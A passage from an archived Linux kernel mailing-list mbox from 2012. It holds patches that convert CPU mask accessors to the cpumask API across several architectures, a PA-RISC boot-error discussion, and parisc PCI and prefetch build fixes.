 	for (i = 0; i < NR_CPUS; i++)
-		cpu_set(i, cpu_possible_map);
+		set_cpu_possible(i, true);
 }
diff --git a/arch/mips/cavium-octeon/smp.c b/arch/mips/cavium-octeon/smp.c
--- a/arch/mips/cavium-octeon/smp.c
+++ b/arch/mips/cavium-octeon/smp.c
@@ -268,7 +268,7 @@ static int octeon_cpu_disable(void)
 
 	spin_lock(&smp_reserve_lock);
 
-	cpu_clear(cpu, cpu_online_map);
+	set_cpu_online(cpu, false);
 	cpu_clear(cpu, cpu_callin_map);
 	local_irq_disable();
 	fixup_irqs();
diff --git a/arch/mips/kernel/mips-mt-fpaff.c b/arch/mips/kernel/mips-mt-fpaff.c
--- a/arch/mips/kernel/mips-mt-fpaff.c
+++ b/arch/mips/kernel/mips-mt-fpaff.c
@@ -173,7 +173,7 @@ asmlinkage long mipsmt_sys_sched_getaffi
 	if (retval)
 		goto out_unlock;
 
-	cpus_and(mask, p->thread.user_cpus_allowed, cpu_possible_map);
+	cpumask_and(&mask, &p->thread.user_cpus_allowed, cpu_possible_mask);
 
 out_unlock:
 	read_unlock(&tasklist_lock);
diff --git a/arch/mips/kernel/proc.c b/arch/mips/kernel/proc.c
--- a/arch/mips/kernel/proc.c
+++ b/arch/mips/kernel/proc.c
@@ -25,7 +25,7 @@ static int show_cpuinfo(struct seq_file 
 	int i;
 
 #ifdef CONFIG_SMP
-	if (!cpu_isset(n, cpu_online_map))
+	if (!cpu_online(n))
 		return 0;
 #endif
 
diff --git a/arch/mips/kernel/smp-bmips.c b/arch/mips/kernel/smp-bmips.c
--- a/arch/mips/kernel/smp-bmips.c
+++ b/arch/mips/kernel/smp-bmips.c
@@ -319,7 +319,7 @@ static int bmips_cpu_disable(void)
 
 	pr_info("SMP: CPU%d is offline\n", cpu);
 
-	cpu_clear(cpu, cpu_online_map);
+	set_cpu_online(cpu, false);
 	cpu_clear(cpu, cpu_callin_map);
 
 	local_flush_tlb_all();
diff --git a/arch/mips/kernel/smp.c b/arch/mips/kernel/smp.c
--- a/arch/mips/kernel/smp.c
+++ b/arch/mips/kernel/smp.c
@@ -148,7 +148,7 @@ static void stop_this_cpu(void *dummy)
 	/*
 	 * Remove this CPU:
 	 */
-	cpu_clear(smp_processor_id(), cpu_online_map);
+	set_cpu_online(smp_processor_id(), false);
 	for (;;) {
 		if (cpu_wait)
 			(*cpu_wait)();		/* Wait if available. */
@@ -174,7 +174,7 @@ void __init smp_prepare_cpus(unsigned in
 	mp_ops->prepare_cpus(max_cpus);
 	set_cpu_sibling_map(0);
 #ifndef CONFIG_HOTPLUG_CPU
-	init_cpu_present(&cpu_possible_map);
+	init_cpu_present(cpu_possible_mask);
 #endif
 }
 
@@ -248,7 +248,7 @@ int __cpuinit __cpu_up(unsigned int cpu)
 	while (!cpu_isset(cpu, cpu_callin_map))
 		udelay(100);
 
-	cpu_set(cpu, cpu_online_map);
+	set_cpu_online(cpu, true);
 
 	return 0;
 }
@@ -320,13 +320,12 @@ void flush_tlb_mm(struct mm_struct *mm)
 	if ((atomic_read(&mm->mm_users) != 1) || (current->mm != mm)) {
 		smp_on_other_tlbs(flush_tlb_mm_ipi, mm);
 	} else {
-		cpumask_t mask = cpu_online_map;
 		unsigned int cpu;
 
-		cpu_clear(smp_processor_id(), mask);
-		for_each_cpu_mask(cpu, mask)
-			if (cpu_context(cpu, mm))
+		for_each_online_cpu(cpu) {
+			if (cpu != smp_processor_id() && cpu_context(cpu, mm))
 				cpu_context(cpu, mm) = 0;
+		}
 	}
 	local_flush_tlb_mm(mm);
 
@@ -360,13 +359,12 @@ void flush_tlb_range(struct vm_area_stru
 
 		smp_on_other_tlbs(flush_tlb_range_ipi, &fd);
 	} else {
-		cpumask_t mask = cpu_online_map;
 		unsigned int cpu;
 
-		cpu_clear(smp_processor_id(), mask);
-		for_each_cpu_mask(cpu, mask)
-			if (cpu_context(cpu, mm))
+		for_each_online_cpu(cpu) {
+			if (cpu != smp_processor_id() && cpu_context(cpu, mm))
 				cpu_context(cpu, mm) = 0;
+		}
 	}
 	local_flush_tlb_range(vma, start, end);
 	preempt_enable();
@@ -407,13 +405,12 @@ void flush_tlb_page(struct vm_area_struc
 
 		smp_on_other_tlbs(flush_tlb_page_ipi, &fd);
 	} else {
-		cpumask_t mask = cpu_online_map;
 		unsigned int cpu;
 
-		cpu_clear(smp_processor_id(), mask);
-		for_each_cpu_mask(cpu, mask)
-			if (cpu_context(cpu, vma->vm_mm))
+		for_each_online_cpu(cpu) {
+			if (cpu != smp_processor_id() && cpu_context(cpu, vma->vm_mm))
 				cpu_context(cpu, vma->vm_mm) = 0;
+		}
 	}
 	local_flush_tlb_page(vma, page);
 	preempt_enable();
diff --git a/arch/mips/kernel/smtc.c b/arch/mips/kernel/smtc.c
--- a/arch/mips/kernel/smtc.c
+++ b/arch/mips/kernel/smtc.c
@@ -292,7 +292,7 @@ static void smtc_configure_tlb(void)
  * possibly leave some TCs/VPEs as "slave" processors.
  *
  * Use c0_MVPConf0 to find out how many TCs are available, setting up
- * cpu_possible_map and the logical/physical mappings.
+ * cpu_possible_mask and the logical/physical mappings.
  */
 
 int __init smtc_build_cpu_map(int start_cpu_slot)
diff --git a/arch/mips/mm/c-octeon.c b/arch/mips/mm/c-octeon.c
--- a/arch/mips/mm/c-octeon.c
+++ b/arch/mips/mm/c-octeon.c
@@ -81,9 +81,9 @@ static void octeon_flush_icache_all_core
 	if (vma)
 		mask = *mm_cpumask(vma->vm_mm);
 	else
-		mask = cpu_online_map;
-	cpu_clear(cpu, mask);
-	for_each_cpu_mask(cpu, mask)
+		mask = *cpu_online_mask;
+	cpumask_clear_cpu(cpu, &mask);
+	for_each_cpu(cpu, &mask)
 		octeon_send_ipi_single(cpu, SMP_ICACHE_FLUSH);
 
 	preempt_enable();
diff --git a/arch/mips/netlogic/common/smp.c b/arch/mips/netlogic/common/smp.c
--- a/arch/mips/netlogic/common/smp.c
+++ b/arch/mips/netlogic/common/smp.c
@@ -165,7 +165,7 @@ void __init nlm_smp_setup(void)
 	cpu_set(boot_cpu, phys_cpu_present_map);
 	__cpu_number_map[boot_cpu] = 0;
 	__cpu_logical_map[0] = boot_cpu;
-	cpu_set(0, cpu_possible_map);
+	set_cpu_possible(0, true);
 
 	num_cpus = 1;
 	for (i = 0; i < NR_CPUS; i++) {
@@ -177,14 +177,14 @@ void __init nlm_smp_setup(void)
 			cpu_set(i, phys_cpu_present_map);
 			__cpu_number_map[i] = num_cpus;
 			__cpu_logical_map[num_cpus] = i;
-			cpu_set(num_cpus, cpu_possible_map);
+			set_cpu_possible(num_cpus, true);
 			++num_cpus;
 		}
 	}
 
 	pr_info("Phys CPU present map: %lx, possible map %lx\n",
 		(unsigned long)phys_cpu_present_map.bits[0],
-		(unsigned long)cpu_possible_map.bits[0]);
+		(unsigned long)cpumask_bits(cpu_possible_mask)[0]);
 
 	pr_info("Detected %i Slave CPU(s)\n", num_cpus);
 	nlm_set_nmi_handler(nlm_boot_secondary_cpus);
diff --git a/arch/mips/pmc-sierra/yosemite/smp.c b/arch/mips/pmc-sierra/yosemite/smp.c
--- a/arch/mips/pmc-sierra/yosemite/smp.c
+++ b/arch/mips/pmc-sierra/yosemite/smp.c
@@ -155,10 +155,10 @@ static void __init yos_smp_setup(void)
 {
 	int i;
 
-	cpus_clear(cpu_possible_map);
+	init_cpu_possible(cpu_none_mask);
 
 	for (i = 0; i < 2; i++) {
-		cpu_set(i, cpu_possible_map);
+		set_cpu_possible(i, true);
 		__cpu_number_map[i]	= i;
 		__cpu_logical_map[i]	= i;
 	}
@@ -169,7 +169,7 @@ static void __init yos_prepare_cpus(unsi
 	/*
 	 * Be paranoid.  Enable the IPI only if we're really about to go SMP.
 	 */
-	if (cpus_weight(cpu_possible_map))
+	if (num_possible_cpus())
 		set_c0_status(STATUSF_IP5);
 }
 
diff --git a/arch/mips/sgi-ip27/ip27-smp.c b/arch/mips/sgi-ip27/ip27-smp.c
--- a/arch/mips/sgi-ip27/ip27-smp.c
+++ b/arch/mips/sgi-ip27/ip27-smp.c
@@ -76,7 +76,7 @@ static int do_cpumask(cnodeid_t cnode, n
 			/* Only let it join in if it's marked enabled */
 			if ((acpu->cpu_info.flags & KLINFO_ENABLE) &&
 			    (tot_cpus_found != NR_CPUS)) {
-				cpu_set(cpuid, cpu_possible_map);
+				set_cpu_possible(cpuid, true);
 				alloc_cpupda(cpuid, tot_cpus_found);
 				cpus_found++;
 				tot_cpus_found++;
diff --git a/arch/mips/sibyte/bcm1480/smp.c b/arch/mips/sibyte/bcm1480/smp.c
--- a/arch/mips/sibyte/bcm1480/smp.c
+++ b/arch/mips/sibyte/bcm1480/smp.c
@@ -147,14 +147,13 @@ static void __init bcm1480_smp_setup(voi
 {
 	int i, num;
 
-	cpus_clear(cpu_possible_map);
-	cpu_set(0, cpu_possible_map);
+	init_cpu_possible(cpumask_of(0));
 	__cpu_number_map[0] = 0;
 	__cpu_logical_map[0] = 0;
 
 	for (i = 1, num = 0; i < NR_CPUS; i++) {
 		if (cfe_cpu_stop(i) == 0) {
-			cpu_set(i, cpu_possible_map);
+			set_cpu_possible(i, true);
 			__cpu_number_map[i] = ++num;
 			__cpu_logical_map[num] = i;
 		}
diff --git a/arch/mips/sibyte/sb1250/smp.c b/arch/mips/sibyte/sb1250/smp.c
--- a/arch/mips/sibyte/sb1250/smp.c
+++ b/arch/mips/sibyte/sb1250/smp.c
@@ -126,7 +126,7 @@ static void __cpuinit sb1250_boot_second
 
 /*
  * Use CFE to find out how many CPUs are available, setting up
- * cpu_possible_map and the logical/physical mappings.
+ * cpu_possible_mask and the logical/physical mappings.
  * XXXKW will the boot CPU ever not be physical 0?
  *
  * Common setup before any secondaries are started
@@ -135,14 +135,13 @@ static void __init sb1250_smp_setup(void
 {
 	int i, num;
 
-	cpus_clear(cpu_possible_map);
-	cpu_set(0, cpu_possible_map);
+	init_cpu_possible(cpumask_of(0));
 	__cpu_number_map[0] = 0;
 	__cpu_logical_map[0] = 0;
 
 	for (i = 1, num = 0; i < NR_CPUS; i++) {
 		if (cfe_cpu_stop(i) == 0) {
-			cpu_set(i, cpu_possible_map);
+			set_cpu_possible(i, true);
 			__cpu_number_map[i] = ++num;
 			__cpu_logical_map[num] = i;
 		}
diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -291,8 +291,7 @@ smp_cpu_init(int cpunum)
 	mb();
 
 	/* Well, support 2.4 linux scheme as well. */
-	if (cpu_isset(cpunum, cpu_online_map))
-	{
+	if (cpu_online(cpunum))	{
 		extern void machine_halt(void); /* arch/parisc.../process.c */
 
 		printk(KERN_CRIT "CPU#%d already initialized!\n", cpunum);
diff --git a/arch/powerpc/platforms/wsp/smp.c b/arch/powerpc/platforms/wsp/smp.c
--- a/arch/powerpc/platforms/wsp/smp.c
+++ b/arch/powerpc/platforms/wsp/smp.c
@@ -71,7 +71,7 @@ int __devinit smp_a2_kick_cpu(int nr)
 
 static int __init smp_a2_probe(void)
 {
-	return cpus_weight(cpu_possible_map);
+	return num_possible_cpus();
 }
 
 static struct smp_ops_t a2_smp_ops = {
diff --git a/arch/sh/kernel/smp.c b/arch/sh/kernel/smp.c
--- a/arch/sh/kernel/smp.c
+++ b/arch/sh/kernel/smp.c
@@ -63,7 +63,7 @@ void __init smp_prepare_cpus(unsigned in
 	mp_ops->prepare_cpus(max_cpus);
 
 #ifndef CONFIG_HOTPLUG_CPU
-	init_cpu_present(&cpu_possible_map);
+	init_cpu_present(cpu_possible_mask);
 #endif
 }
 
diff --git a/arch/sh/kernel/topology.c b/arch/sh/kernel/topology.c
--- a/arch/sh/kernel/topology.c
+++ b/arch/sh/kernel/topology.c
@@ -27,7 +27,7 @@ static cpumask_t cpu_coregroup_map(unsig
 	 * Presently all SH-X3 SMP cores are multi-cores, so just keep it
 	 * simple until we have a method for determining topology..
 	 */
-	return cpu_possible_map;
+	return *cpu_possible_mask;
 }
 
 const struct cpumask *cpu_coregroup_mask(unsigned int cpu)
diff --git a/arch/sparc/kernel/leon_kernel.c b/arch/sparc/kernel/leon_kernel.c
--- a/arch/sparc/kernel/leon_kernel.c
+++ b/arch/sparc/kernel/leon_kernel.c
@@ -104,11 +104,11 @@ static int irq_choose_cpu(const struct c
 {
 	cpumask_t mask;
 
-	cpus_and(mask, cpu_online_map, *affinity);
-	if (cpus_equal(mask, cpu_online_map) || cpus_empty(mask))
+	cpumask_and(&mask, cpu_online_mask, affinity);
+	if (cpumask_equal(&mask, cpu_online_mask) || cpumask_empty(&mask))
 		return boot_cpu_id;
 	else
-		return first_cpu(mask);
+		return cpumask_first(&mask);
 }
 #else
 #define irq_choose_cpu(affinity) boot_cpu_id
diff --git a/arch/tile/kernel/setup.c b/arch/tile/kernel/setup.c
--- a/arch/tile/kernel/setup.c
+++ b/arch/tile/kernel/setup.c
@@ -1186,7 +1186,7 @@ static void __init setup_cpu_maps(void)
 			      sizeof(cpu_lotar_map));
 	if (rc < 0) {
 		pr_err("warning: no HV_INQ_TILES_LOTAR; using AVAIL\n");
-		cpu_lotar_map = cpu_possible_map;
+		cpu_lotar_map = *cpu_possible_mask;
 	}
 
 #if CHIP_HAS_CBOX_HOME_MAP()
@@ -1196,9 +1196,9 @@ static void __init setup_cpu_maps(void)
 			      sizeof(hash_for_home_map));
 	if (rc < 0)
 		early_panic("hv_inquire_tiles(HFH_CACHE) failed: rc %d\n", rc);
-	cpumask_or(&cpu_cacheable_map, &cpu_possible_map, &hash_for_home_map);
+	cpumask_or(&cpu_cacheable_map, cpu_possible_mask, &hash_for_home_map);
 #else
-	cpu_cacheable_map = cpu_possible_map;
+	cpu_cacheable_map = *cpu_possible_mask;
 #endif
 }
 
diff --git a/arch/um/kernel/skas/process.c b/arch/um/kernel/skas/process.c
--- a/arch/um/kernel/skas/process.c
+++ b/arch/um/kernel/skas/process.c
@@ -41,7 +41,7 @@ static int __init start_kernel_proc(void
 	cpu_tasks[0].pid = pid;
 	cpu_tasks[0].task = current;
 #ifdef CONFIG_SMP
-	cpu_online_map = cpumask_of_cpu(0);
+	init_cpu_online(get_cpu_mask(0));
 #endif
 	start_kernel();
 	return 0;
diff --git a/arch/um/kernel/smp.c b/arch/um/kernel/smp.c
--- a/arch/um/kernel/smp.c
+++ b/arch/um/kernel/smp.c
@@ -76,7 +76,7 @@ static int idle_proc(void *cpup)
 		cpu_relax();
 
 	notify_cpu_starting(cpu);
-	cpu_set(cpu, cpu_online_map);
+	set_cpu_online(cpu, true);
 	default_idle();
 	return 0;
 }
@@ -110,8 +110,7 @@ void smp_prepare_cpus(unsigned int maxcp
 	for (i = 0; i < ncpus; ++i)
 		set_cpu_possible(i, true);
 
-	cpu_clear(me, cpu_online_map);
-	cpu_set(me, cpu_online_map);
+	set_cpu_online(me, true);
 	cpu_set(me, cpu_callin_map);
 
 	err = os_pipe(cpu_data[me].ipi_pipe, 1, 1);
@@ -138,13 +137,13 @@ void smp_prepare_cpus(unsigned int maxcp
 
 void smp_prepare_boot_cpu(void)
 {
-	cpu_set(smp_processor_id(), cpu_online_map);
+	set_cpu_online(smp_processor_id(), true);
 }
 
 int __cpu_up(unsigned int cpu)
 {
 	cpu_set(cpu, smp_commenced_mask);
-	while (!cpu_isset(cpu, cpu_online_map))
+	while (!cpu_online(cpu))
 		mb();
 	return 0;
 }

From - Thu Nov 08 21:07:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot error using 3.2.1: swapper (pid 1): Illegal instruction
 (code 8)
Date: Thu, 16 Feb 2012 13:40:27 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <77cfb38e7e4d85fa5dcba58c86e91f8e.squirrel@webmail.sf-mail.de>
References: <5333929.7Zifozzp4e@devpool02> <1326797664.3020.30.camel@dabdike>
    <5b79ed5857aa29388a3eb41663d5700e.squirrel@webmail.sf-mail.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1329396044 22308 80.91.229.3 (16 Feb 2012 12:40:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 16 Feb 2012 12:40:44 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 16 13:40:42 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ry0dZ-0004Dm-16
	for glpp-linux-parisc@plane.gmane.org; Thu, 16 Feb 2012 13:40:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751231Ab2BPMkg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 Feb 2012 07:40:36 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:58940 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750887Ab2BPMkf (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 Feb 2012 07:40:35 -0500
Original-Received: (qmail 26232 invoked from network); 16 Feb 2012 12:40:31 -0000
Original-Received: from www.sf-tec.de ([::ffff:62.27.20.187]:42100)
	by mail.sf-mail.de (Qsmtpd 0.21svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPS
	for <linux-parisc@vger.kernel.org>; Thu, 16 Feb 2012 13:40:31 +0100
Original-Received: (qmail 26227 invoked by uid 81); 16 Feb 2012 12:40:29 -0000
Original-Received: from 80.150.94.234
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Thu, 16 Feb 2012 13:40:27 +0100
In-Reply-To: <5b79ed5857aa29388a3eb41663d5700e.squirrel@webmail.sf-mail.de>
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4177
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4177>

>> On Tue, 2012-01-17 at 11:41 +0100, Rolf Eike Beer wrote:
>>> Machine is an Apollo 705, previous kernel version was 2.6.28. Any hints
>>> appreciated. Config attached.
>>
>> Best guess is that your init binary is incompatible with the hardware
>> architecture.  It has to be compiled for PA7000 to work on an Apollo
>> system.
>
> Using the same init with kernel 2.6.28 works fine.

I've upgraded the machine to 2.6.38.8 with
b54cd0d5053633373cd3c374aa203024cbf125a0 added and
c3f957a22eca106bd28136943305b390b4337ebf reverted. This makes me believe
that f311847c2fcebd81912e2f0caf8a461dec28db41 is the culprit. Maybe
something in the 32 bit code isn't HPPA 1.1 clean?

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:07:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:07:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yinghai Lu <yinghai@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.pci,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH 09/23] PCI, parisc: Register busn_res for root buses
Date: Fri, 24 Feb 2012 02:18:57 -0800
Lines: 40
Approved: news@gmane.org
Message-ID: <1330078751-7299-10-git-send-email-yinghai@kernel.org>
References: <1330078751-7299-1-git-send-email-yinghai@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: dough.gmane.org 1330079019 6318 80.91.229.3 (24 Feb 2012 10:23:39 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 24 Feb 2012 10:23:39 +0000 (UTC)
Cc: Bjorn Helgaas <bhelgaas@google.com>,
	Dominik Brodowski <linux@dominikbrodowski.net>,
	Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	linux-pci@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, Yinghai Lu <yinghai@kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Jesse Barnes <jbarnes@virtuousgeek.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Tony Luck <tony.luck@intel.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Feb 24 11:23:33 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1S0sJG-0002vv-3T
	for glk-linux-kernel-3@plane.gmane.org; Fri, 24 Feb 2012 11:23:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932168Ab2BXKXK (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 24 Feb 2012 05:23:10 -0500
Original-Received: from acsinet15.oracle.com ([141.146.126.227]:47577 "EHLO
	acsinet15.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757069Ab2BXKXG (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 24 Feb 2012 05:23:06 -0500
Original-Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237])
	by acsinet15.oracle.com (Sentrion-MTA-4.2.2/Sentrion-MTA-4.2.2) with ESMTP id q1OAJmID024206
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Fri, 24 Feb 2012 10:19:49 GMT
Original-Received: from acsmt358.oracle.com (acsmt358.oracle.com [141.146.40.158])
	by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id q1OAJluj004979
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 24 Feb 2012 10:19:47 GMT
Original-Received: from abhmt112.oracle.com (abhmt112.oracle.com [141.146.116.64])
	by acsmt358.oracle.com (8.12.11.20060308/8.12.11) with ESMTP id q1OAJkkE026881;
	Fri, 24 Feb 2012 04:19:46 -0600
Original-Received: from linux-siqj.site (/75.36.240.30)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Fri, 24 Feb 2012 02:19:46 -0800
X-Mailer: git-send-email 1.7.7
In-Reply-To: <1330078751-7299-1-git-send-email-yinghai@kernel.org>
X-Source-IP: acsinet21.oracle.com [141.146.126.237]
X-Auth-Type: Internal IP
X-CT-RefId: str=0001.0A090202.4F476446.004A,ss=1,re=0.000,fgs=0
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1257723 gmane.linux.kernel.pci:13727 gmane.linux.kernel.cross-arch:12684 gmane.linux.ports.parisc:4180
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1257723>

Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 drivers/parisc/dino.c    |    2 ++
 drivers/parisc/lba_pci.c |    3 +++
 2 files changed, 5 insertions(+), 0 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 7ff10c1..3f2e203 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -1014,7 +1014,9 @@ static int __init dino_probe(struct parisc_device *dev)
 		return 0;
 	}
 
+	pci_bus_insert_busn_res(bus, dino_current_bus, 255);
 	bus->subordinate = pci_scan_child_bus(bus);
+	pci_bus_update_busn_res_end(bus, bus->subordinate);
 
 	/* This code *depends* on scanning being single threaded
 	 * if it isn't, this global bus number count will fail
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index d5f3d75..b58bf8b 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1531,6 +1531,9 @@ lba_driver_probe(struct parisc_device *dev)
 		return 0;
 	}
 
+	pci_bus_insert_busn_res(lba_bus, lba_dev->hba.bus_num.start,
+				lba_dev->hba.bus_num.end);
+
 	lba_bus->subordinate = pci_scan_child_bus(lba_bus);
 
 	/* This is in lieu of calling pci_assign_unassigned_resources() */
-- 
1.7.7


From - Thu Nov 08 21:07:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:07:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Gortmaker <paul.gortmaker@windriver.com>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: fix longstanding build failure on prefetch
Date: Sun, 26 Feb 2012 15:51:18 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <1330289478-12603-1-git-send-email-paul.gortmaker@windriver.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: dough.gmane.org 1330289570 17829 80.91.229.3 (26 Feb 2012 20:52:50 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 26 Feb 2012 20:52:50 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-next@vger.kernel.org, rientjes@google.com,
	xiyou.wangcong@gmail.com,
	Paul Gortmaker <paul.gortmaker@windriver.com>
To: JBottomley@parallels.com, jejb@parisc-linux.org, kyle@mcmartin.ca,
	deller@gmx.de
Original-X-From: linux-next-owner@vger.kernel.org Sun Feb 26 21:52:47 2012
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1S1l5L-0001kz-63
	for glkn-linux-next@plane.gmane.org; Sun, 26 Feb 2012 21:52:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753091Ab2BZUwo (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Sun, 26 Feb 2012 15:52:44 -0500
Original-Received: from mail.windriver.com ([147.11.1.11]:52165 "EHLO
	mail.windriver.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753020Ab2BZUwn (ORCPT
	<rfc822;linux-next@vger.kernel.org>); Sun, 26 Feb 2012 15:52:43 -0500
Original-Received: from yow-lpgnfs-02.corp.ad.wrs.com (yow-lpgnfs-02.ottawa.windriver.com [128.224.149.8])
	by mail.windriver.com (8.14.3/8.14.3) with ESMTP id q1QKpV1h011992;
	Sun, 26 Feb 2012 12:51:32 -0800 (PST)
X-Mailer: git-send-email 1.7.9.1
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:20922 gmane.linux.ports.parisc:4182 gmane.linux.kernel:1258306
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/20922>

Upstream commit e66eed651fd18a961f11cda62f3b5286c8cc4f9f

    "list: remove prefetching from regular list iterators"

removed <linux/prefetch.h> from <linux/list.h> very early in the
v3.0 dev cycle (v2.6.39-2-ge66eed6), thereby causing build failures
when it exposed the implicit prefetch users in parisc.

Reported-by: David Rientjes <rientjes@google.com>
Reported-by: WANG Cong <xiyou.wangcong@gmail.com>
Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
---

[ The parisc defconfig has been failing to build everywhere since
  last May!  http://kisskb.ellerman.id.au/kisskb/target/2059/   And this
  one liner fix https://lkml.org/lkml/2011/10/15/121 was reported last
  Oct, and again http://www.spinics.net/lists/linux-parisc/msg03945.html
  in early Feb.  So, now with a clear reasoning in the commit header as
  to why it fails, can we finally get this in tree please? ]

diff --git a/drivers/parisc/iommu-helpers.h b/drivers/parisc/iommu-helpers.h
index a9c46cc..8c33491 100644
--- a/drivers/parisc/iommu-helpers.h
+++ b/drivers/parisc/iommu-helpers.h
@@ -1,3 +1,5 @@
+#include <linux/prefetch.h>
+
 /**
  * iommu_fill_pdir - Insert coalesced scatter/gather chunks into the I/O Pdir.
  * @ioc: The I/O Controller.
-- 
1.7.9.1


From - Thu Nov 08 21:07:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:07:57 2018
